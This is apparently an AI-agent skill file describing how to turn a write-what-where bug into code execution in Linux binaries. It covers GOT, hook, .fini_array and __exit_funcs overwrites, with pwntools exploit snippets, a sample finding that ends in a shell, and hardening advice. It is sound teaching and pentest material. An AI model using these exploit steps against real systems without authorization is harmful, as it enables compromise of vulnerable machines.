exploiting-arbitrary-write-to-execution
npx mdskill add xalgord/xalgorix/exploiting-arbitrary-write-to-execution- During authorized binary exploitation when a bug yields a **write-what-where** primitive: format-string `%n`, an OOB array write, a heap metadata corruption (e.g., tcache/fastbin poisoning to return an arbitrary chunk), or a UAF that lets you write a controlled value to a controlled address. - When you control *where* and *what* you write but do **not** yet have direct control of `RIP`/`EIP`, and you need a code pointer to overwrite that the program will later call. - When deciding between targets based on mitigations: Partial vs Full RELRO, presence of `__malloc_hook`/`__free_hook` (removed in glibc >= 2.34), and pointer mangling on `atexit` handlers. - As the bridge step that turns "I can write 8 bytes somewhere" into "the program jumps to my gadget/one_gadget".
---
name: exploiting-arbitrary-write-to-execution
description: Methodology for converting an arbitrary-write (write-what-where) or write-anything-anywhere primitive into
code execution during authorized engagements, covering target selection among GOT/PLT entries, .fini_array/.dtors,
__malloc_hook/__free_hook, the atexit/__exit_funcs handler list, and __printf_arginfo_table, plus how mitigations
(Full RELRO, pointer mangling) change which target is viable and how to confirm hijacked control flow.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- arbitrary-write
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Arbitrary Write to Execution
## When to Use
- During authorized binary exploitation when a bug yields a **write-what-where** primitive: format-string `%n`, an OOB
array write, a heap metadata corruption (e.g., tcache/fastbin poisoning to return an arbitrary chunk), or a UAF that
lets you write a controlled value to a controlled address.
- When you control *where* and *what* you write but do **not** yet have direct control of `RIP`/`EIP`, and you need a
code pointer to overwrite that the program will later call.
- When deciding between targets based on mitigations: Partial vs Full RELRO, presence of `__malloc_hook`/`__free_hook`
(removed in glibc >= 2.34), and pointer mangling on `atexit` handlers.
- As the bridge step that turns "I can write 8 bytes somewhere" into "the program jumps to my gadget/one_gadget".
## Critical: Concepts/Steps Most Often Missed
- **Full RELRO kills the GOT path.** With Full RELRO the GOT is mapped read-only after startup, so `aw2exec-got-plt`
fails. Confirm RELRO with `checksec` first and pick a writable target instead (hooks, `__exit_funcs`,
`__printf_arginfo_table`, a saved return address, or a function pointer in writable data).
- **The hooks are gone in modern glibc.** `__malloc_hook` and `__free_hook` were removed in glibc 2.34. On older targets
they are a one-write win (point to a `one_gadget` then trigger `malloc`/`free`). On newer targets you must pivot to
alternatives like FSOP (`_IO_FILE` vtable), `__exit_funcs`, or `__printf_arginfo_table`.
- **atexit pointers are mangled.** `__exit_funcs` (the `atexit`/`__cxa_atexit` list) stores function pointers
encrypted with `PTR_MANGLE` (rotate-left by a known amount and XOR with `fs:[0x30]` `pointer_guard`). You must leak the
guard to forge a usable entry, or aim at a different target.
- **You must trigger the call.** Overwriting `.fini_array` only fires at clean program exit; `__malloc_hook` needs a
subsequent allocation; a GOT entry needs the corresponding library call. If nothing calls your target, nothing happens.
- **Alignment and `movaps`.** A `one_gadget`/libc `system` often requires 16-byte stack alignment; the constraints
printed by `one_gadget` (e.g., `[rsp+0x40] == NULL`) must hold at call time or it crashes in libc.
- **Endianness and partial writes.** Many primitives write byte-by-byte (format string) — order writes from low bytes
and watch for clobbering already-written bytes.
### How to CONFIRM
Set the write target to a deterministic sentinel first (e.g., overwrite the GOT entry of `puts` with the address of
`win`/a `int3`/a known label) and set a breakpoint in `gdb` (pwndbg/gef) on that address. Trigger the call path. If
execution **lands at your sentinel** (`$pc` equals the value you wrote, or the breakpoint hits), the write-to-exec
conversion is **confirmed**. A write that completes but never reaches your address means you targeted a pointer that is
not actually invoked on this path — choose another.
## Workflow
### Step 1: Profile the Binary and Pick a Target
```bash
pwn checksec ./vuln # RELRO (Partial/Full), PIE, NX -> decides target viability
```
```text
Partial RELRO -> GOT/PLT overwrite (aw2exec-got-plt) is viable
Full RELRO -> use hooks / __exit_funcs / __printf_arginfo_table / function pointers / saved RIP
glibc < 2.34 -> __malloc_hook / __free_hook are one-write wins
glibc >= 2.34 -> FSOP, __exit_funcs (mangled), .fini_array (if writable), vtable
exit() reachable -> .fini_array / .dtors / __exit_funcs
```
### Step 2: Resolve Addresses (and Leak libc if Needed)
```python
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# GOT/PLT targets (no leak needed if overwriting with a PLT/known address):
got_puts = elf.got['puts'] # writable under Partial RELRO
# libc internals (need a libc base leak first):
# malloc_hook = libc.sym['__malloc_hook'] (glibc < 2.34)
# free_hook = libc.sym['__free_hook']
# exit_funcs = libc.sym['__exit_funcs']
```
If targeting libc internals, obtain a leak (GOT read, format-string `%p`, or an info-leak bug) and compute
`libc.address = leaked - libc.sym['<known>']`.
### Step 3: Perform the Arbitrary Write at the Chosen Target
```python
# Example A: GOT overwrite (Partial RELRO) -- point strlen/puts GOT at system, then call with "/bin/sh"
write_what = libc.sym['system']
write_where = elf.got['strlen']
payload = fmtstr_payload(offset, {write_where: write_what}) # format-string primitive
io.sendline(payload)
# Example B: __free_hook -> one_gadget (glibc < 2.34)
og = libc.address + 0x4f432 # a one_gadget that satisfies its constraints
arbitrary_write(libc.sym['__free_hook'], og)
# then ensure a free() runs on a chunk holding "/bin/sh" if using system instead
# Example C: .fini_array overwrite -> redirect destructor to win()/main on exit (no PIE)
arbitrary_write(elf.sym['__fini_array_start'], elf.sym['win'])
```
For `__exit_funcs`/`atexit`, account for `PTR_MANGLE`:
```python
# mangled = ROL(ptr ^ pointer_guard, 0x11) (x86-64). Leak pointer_guard (fs:[0x30]) to forge:
mangled = rol((target_func ^ pointer_guard) & 0xffffffffffffffff, 0x11, 64)
arbitrary_write(exit_funcs_entry_fn, mangled)
```
### Step 4: Trigger Execution and Verify
```python
# Trigger the path that invokes the overwritten pointer:
# - GOT: call the hijacked function (e.g., send input that makes the program call strlen/puts)
# - hooks: cause a malloc()/free()
# - .fini_array/__exit_funcs: let the program exit() cleanly
# - __printf_arginfo_table: cause a printf-family call that consults the table
io.interactive() # confirm shell / win() output
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Write-what-where** | A primitive that writes an attacker-chosen value to an attacker-chosen address. |
| **GOT/PLT overwrite** | Replacing a resolved library-function pointer in the GOT so the next call jumps to your target. |
| **.fini_array / .dtors** | Arrays of destructor pointers run at program exit; overwriting one redirects exit-time control. |
| **__malloc_hook / __free_hook** | Legacy glibc (<2.34) hook pointers invoked on alloc/free; one write = code exec. |
| **__exit_funcs (atexit)** | Linked list of exit handlers; pointers are PTR_MANGLE-encrypted with `pointer_guard`. |
| **__printf_arginfo_table** | Table consulted by printf-family for custom specifiers; a writable function-pointer target. |
| **PTR_MANGLE / pointer_guard** | ROL+XOR encryption of stored code pointers using `fs:[0x30]`; must be leaked to forge entries. |
| **one_gadget** | A single libc address that calls `execve("/bin/sh")` when its register/stack constraints hold. |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **gdb + pwndbg/GEF** | Breakpoint the target pointer, inspect GOT/hooks/`__exit_funcs`, verify the hijacked call. |
| **pwntools** | `ELF`, `ROP`, `fmtstr_payload`, address math, `process`/`remote`, packing helpers. |
| **checksec** | Determine RELRO/PIE/NX to decide which write target is viable. |
| **one_gadget** | Enumerate single-shot `execve("/bin/sh")` gadgets and their constraints in the target libc. |
| **ROPgadget / ropper** | Find gadgets for stack alignment or to chain when a single gadget is not enough. |
| **readelf / objdump** | Inspect `.got`, `.fini_array`, `.dtors` sections and symbol addresses. |
## Common Scenarios
### Scenario 1: Format string + Partial RELRO -> GOT overwrite
A `printf(user_input)` with no fixed format gives `%n` arbitrary write. With Partial RELRO the GOT is writable; overwrite
`strlen@got` (or `puts@got`) with `system`, then trigger a call where the argument is `"/bin/sh"`, yielding a shell.
### Scenario 2: tcache poisoning + glibc 2.31 -> __free_hook
A UAF lets you poison the tcache freelist to return a chunk at `__free_hook`. Write a `one_gadget` there, place
`"/bin/sh"` in a chunk, and `free()` it so `__free_hook(chunk)` runs `system("/bin/sh")`-equivalent code.
### Scenario 3: Full RELRO -> __exit_funcs forge
GOT is read-only, hooks removed. Leak `pointer_guard` (`fs:[0x30]`) via an info leak, mangle a `one_gadget` with
`ROL((g ^ guard), 0x17)`, overwrite an `__exit_funcs` entry, then let the program `exit()` to fire it.
### Scenario 4: __printf_arginfo_table redirection
On a target that uses custom printf specifiers, overwrite a `__printf_arginfo_table`/`__printf_function_table` entry with
a controlled pointer; the next printf-family call that parses the specifier invokes the attacker function.
## Output Format
```
## Arbitrary-Write-to-Execution Finding
**Vulnerability**: Write-what-where converted to code execution (CWE-123)
**Severity**: Critical (arbitrary code execution)
**Binary**: ./vuln (x86-64, Partial RELRO, NX, No PIE) + libc 2.31
**Primitive**: format-string %n -> arbitrary 8-byte write (offset 6)
### Target Selection & Proof
- checksec: Partial RELRO -> GOT writable -> chose strlen@got (0x404038)
- Sentinel test: wrote &win (0x401256) to strlen@got; gdb breakpoint at win hit on next call -> control CONFIRMED
- Final target: strlen@got overwritten with system@libc (leaked libc base 0x7ffff7a0d000)
### Exploitation Path
1. Leak libc via puts@got read (%p chain)
2. fmtstr_payload(6, {0x404038: libc.sym['system']})
3. Send input "/bin/sh" so program calls strlen("/bin/sh") -> system("/bin/sh")
Result: interactive shell as the target user.
### Impact
Arbitrary code execution in the context of the vulnerable process.
### Recommendation
1. Build with Full RELRO (-Wl,-z,relro,-z,now) and PIE to remove writable GOT and randomize layout.
2. Eliminate format-string bugs: never pass user input as a format (use printf("%s", input)).
3. Enable FORTIFY_SOURCE=2, stack canaries, and current glibc (hardened/removed legacy hooks).
4. Add bounds checks on all index/pointer writes to prevent write-what-where primitives.
```
- abusing-hop-by-hop-headersTesting proxies, load balancers, and CDNs for improper handling of HTTP hop-by-hop headers, where an
- analyzing-macos-persistence-and-autostartEnumerating, planting, and hunting macOS persistence and auto-start (ASEP) locations during authorized
- api-discoveryAPI endpoint discovery including OpenAPI/Swagger detection, hidden versioning, REST/GraphQL enumeration, and content negotiation
- bypassing-binary-exploitation-mitigationsMethodology for identifying and defeating common binary hardening mitigations during authorized exploitation —
- bypassing-captcha-protectionsIdentifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal,
- bypassing-macos-gatekeeper-tcc-and-sipAssessing and bypassing macOS userland and platform security controls during authorized engagements -
- bypassing-restricted-shellsEscaping restricted shells (rbash, rksh, lshell), chroot jails, and language sandboxes (Lua, Python)
- bypassing-two-factor-and-otpIdentifying and exploiting flaws in two-factor authentication and one-time password verification
- deepExhaustive security assessment with maximum coverage, depth, and vulnerability chaining
- exploiting-ai-model-file-rceTesting machine-learning model files and model-loading services for remote code execution caused by insecure